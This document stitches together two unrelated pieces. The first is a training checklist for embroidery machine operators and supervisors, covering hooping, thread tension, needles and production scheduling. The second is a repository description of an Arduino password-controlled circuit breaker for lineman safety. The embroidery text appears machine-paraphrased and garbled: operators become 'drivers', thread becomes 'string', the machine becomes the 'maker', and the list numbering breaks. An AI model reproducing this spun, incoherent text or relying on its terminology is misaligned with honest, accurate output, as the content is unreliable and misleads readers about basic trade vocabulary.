public or private watching on YouTube. This offers a twin function: Trainees will certainly learn from the video clips and also they can show their loved ones concerning their intriguing new task. When creating your training program, accumulate referral material from the Internet, publication short articles or various other relevant resources. Establish treatments for typical tasks and give written standards. ________________________________________. A Minimum Training Plan for Embroidery Machine Operators & Supervisors. Listed here are the minimum elements that must be consisted of in a training program for drivers as well as for managers. Use this list as a guide, and also attach your own timespan as well as sequence that makes good sense for your store. At the end of your trial duration, utilize it as a checklist to evaluate the student's understanding of each element. You'll be pleased with the all-around and also experienced driver you have educated. Digital Embroidery Machine Operators. Student needs to get an explanation for each of the adhering to products and have the ability to carry out after ideal training time. 1) Understanding Placement Standards. a. How to apply your shop's typical embroidery positioning, such as left upper body or complete back. b. Selecting suitable strategies for marking garments when required. 2) Review of Job Details. a. Read orders for efficiency: string shades, design, placement. b. Ask for verification in the case of doubtful punctuation or instructions that don't appear right. 3) Garment Inspection. a. Counting garments. b. Checking for appropriate garments. c. Checking for defects before using embroidery. 4) Hooping. a. Select the smallest hoop that will certainly fit style. b. Exceptions to the guideline, such as maintaining bulky seams out of hoop location. c. Hooping procedures and also preventing damages to material from hooping. d. When to utilize holding fixtures rather than a standard hoop. 5) Matching Stabilizer to Fabrics. a. When to do a test sew-out for an initial post. b. Evaluate for appropriate support. c. Evaluate whether a topping is needed. 6) Assuring Consistent Placement. a. Determine positioning approach strategy for each and every work type. b. How to note garments. 7) Thread Handling. a. Setting up thread for basic work. b. Setting up threads for small quantities or combined color orders. c. Tying of knot to pull through needle for thread transition. d. Tying of knot for thread storage space, when relevant. e. Purpose of each element in the thread path (pre-tensioners, tensioners check springtime). f. How a stitch is created. g. How thread break detector/bobbin sensors work. h. Handling of metallics, polyesters as well as various other specialty strings. 8) Thread Tensions. a. Tension screening procedures (top and bottom). b. Troubleshooting tension problems. c. Adjusting and cleansing of the bobbin instance. d. Adjusting of the upper tensioners. 9) Needles. a. Matching the appropriate needle to items. b. How and when to alter needles. c. Identifying sewing signs and symptoms that are needle-related. 10) Troubleshooting as well as Machine Management. a. When and when not to back up the equipment to repair missing out on string. b. Identifying source of string breaks. c. Lubricating of the maker-- when, where, just how as well as with what. b. Sewing speeds for various tasks and also sew types. 11) Specialty Techniques. a. Producing premium needlework on completed caps. b. Producing appliqué products (if relevant). Needlework Supervisors (Multi-Machine Shops). 1) Pre-Production. a. Scheduling Principles. I. Matching job specifics for reliable consecutive work series. II. Assigning priorities according to assurance date. b. Procedures for purchasing digitized designs. c. Procedures for hosting upcoming orders. 2) Production. a. Sensible, organized job flow through store. b. Monitoring of supplies and also accessories. c. Matching operators to tasks and machines. d. Tracking of production throughout-- preserving a manufacturing log. e. Account daily or weekly losses and expense of nonconformity. 3) Equipment. a. Oversee upkeep. b. Keep a maintenance log for every machine. 4) Training. a. Organize as well as keep recommended reference product for operator students. b. Evaluate students' progression. c. Identify under-skilled drivers and offer aid.
habiburrahman-mu / Password Based Circuit BreakerPassword based circuit breaker is a technology where we can control any circuit by a password. If we enter a password the circuit gives a break that means it is on. It can mainly be used in case of electric lines. Nowadays, electrical accidents to the line man are increasing, while repairing the electrical lines due to the lack of communication between the electrical substation and maintenance staff. This project gives a solution to this problem to ensure line man safety. In this proposed system, the control (ON/OFF) of the electrical lines lies with line man. This project is arranged in such a way that to ON/OFF the electrical line. The project is mainly based on Arduino. An Arduino controls all the functions. A matrix keypad is interfaced for taking password. There is a LCD display to read the password. When password is entered by the matrix keypad it is compared with the stored password in the ROM of the Arduino. If the password matches, relay is on. When the relay is on, led is on. If the password doesn’t match the circuit won’t be on.